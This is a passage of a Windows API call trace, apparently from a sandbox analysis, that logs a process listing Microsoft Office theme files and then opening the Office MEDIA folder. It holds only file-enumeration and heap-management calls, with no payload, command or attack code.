ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0286.158] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0286.158] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0286.159] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0286.159] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0286.160] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0286.160] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0286.160] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0286.160] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0286.160] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0286.161] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0286.161] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0286.161] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0286.161] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0286.161] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0286.163] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="OFFICE~3.XML")) returned 1 [0286.163] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0286.163] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0286.163] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0286.163] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0286.164] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0286.164] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0286.164] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0286.164] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0286.166] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0286.169] GetProcessHeap () returned 0x560000 [0286.169] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2beeeb8 | out: hHeap=0x560000) returned 1 [0286.169] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1 [0286.170] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1 [0286.170] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 0 [0286.170] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0286.170] GetProcessHeap () returned 0x560000 [0286.170] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0286.170] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b71c890, ftCreationTime.dwHighDateTime=0x1d5b698, ftLastAccessTime.dwLowDateTime=0x2089df90, ftLastAccessTime.dwHighDateTime=0x1d5a0e1, ftLastWriteTime.dwLowDateTime=0x2089df90, ftLastWriteTime.dwHighDateTime=0x1d5a0e1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0286.170] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0286.171] GetProcessHeap () returned 0x560000 [0286.171] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0286.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 